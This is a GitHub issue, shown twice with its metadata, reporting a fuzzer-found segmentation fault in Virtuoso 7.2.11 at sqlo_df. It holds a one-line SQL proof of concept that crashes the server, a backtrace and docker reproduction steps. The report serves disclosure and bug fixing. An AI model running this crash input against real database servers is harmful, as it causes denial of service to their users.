The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 SMALLINT CHECK ( CONTAINS ( 1 , v1 ) ) CHECK ( v1 >= 'green-iguana' AND v1 <= 'w:12B w:13* w:12,5,6 a:1,3* a:3 w asd:1dc asd' ) ) ; 
```

backtrace:
```c
#0 0x6e0155 (sqlo_df+0x455)
#1 0x6e0d6c (sqlo_df+0x106c)
#2 0x6e0d84 (sqlo_df+0x1084)
#3 0x6e067f (sqlo_df+0x97f)
#4 0x70ea77 (sqlo_top_2+0x267)
#5 0x70e4a5 (sqlo_top_1+0x135)
#6 0x70ffa6 (sqlo_top_select+0x156)
#7 0x6b9b6f (sql_stmt_comp+0x8bf)
#8 0x6bc9d2 (sql_compile_1+0x1a62)
#9 0x4e213f (ddl_table_check_constraints_define_triggers+0x1af)
#10 0x4e462d (ddl_table_constraints+0xd0d)
#11 0x4e5331 (sql_ddl_node_input_1+0xbc1)
#12 0x4e57ee (sql_ddl_node_input+0x10e)
#13 0x7bcb0b (ddl_node_input_1+0x19b)
#14 0x7bd1e7 (qn_without_ac_at+0xc7)
#15 0x7af05e (qn_input+0x3ce)
#16 0x7c1be9 (qr_dml_array_exec+0x839)
#17 0x7ce602 (sf_sql_execute+0x15d2)
#18 0x7cecde (sf_sql_execute_w+0x17e)
#19 0x7d799d (sf_sql_execute_wrapper+0x3d)
#20 0xe214bc (future_wrapper+0x3fc)
#21 0xe28dbe (_thread_boot+0x11e)
#22 0x7f0382989609 (start_thread+0xd9)
#23 0x7f0382759133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `sqlo_df`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `sqlo_df`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 SMALLINT CHECK ( CONTAINS ( 1 , v1 ) ) CHECK ( v1 >= 'green-iguana' AND v1 <= 'w:12B w:13* w:12,5,6 a:1,3* a:3 w asd:1dc asd' ) ) ; 
```

backtrace:
```c
#0 0x6e0155 (sqlo_df+0x455)
#1 0x6e0d6c (sqlo_df+0x106c)
#2 0x6e0d84 (sqlo_df+0x1084)
#3 0x6e067f (sqlo_df+0x97f)
#4 0x70ea77 (sqlo_top_2+0x267)
#5 0x70e4a5 (sqlo_top_1+0x135)
#6 0x70ffa6 (sqlo_top_select+0x156)
#7 0x6b9b6f (sql_stmt_comp+0x8bf)
#8 0x6bc9d2 (sql_compile_1+0x1a62)
#9 0x4e213f (ddl_table_check_constraints_define_triggers+0x1af)
#10 0x4e462d (ddl_table_constraints+0xd0d)
#11 0x4e5331 (sql_ddl_node_input_1+0xbc1)
#12 0x4e57ee (sql_ddl_node_input+0x10e)
#13 0x7bcb0b (ddl_node_input_1+0x19b)
#14 0x7bd1e7 (qn_without_ac_at+0xc7)
#15 0x7af05e (qn_input+0x3ce)
#16 0x7c1be9 (qr_dml_array_exec+0x839)
#17 0x7ce602 (sf_sql_execute+0x15d2)
#18 0x7cecde (sf_sql_execute_w+0x17e)
#19 0x7d799d (sf_sql_execute_wrapper+0x3d)
#20 0xe214bc (future_wrapper+0x3fc)
#21 0xe28dbe (_thread_boot+0x11e)
#22 0x7f0382989609 (start_thread+0xd9)
#23 0x7f0382759133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in Virtuoso 7.2.11 occurs when executing a SQL statement with invalid CHECK constraints, leading to a Denial of Service (DoS). The issue arises from the `sqlo_df` function, which fails to handle certain input types properly, resulting in a crash.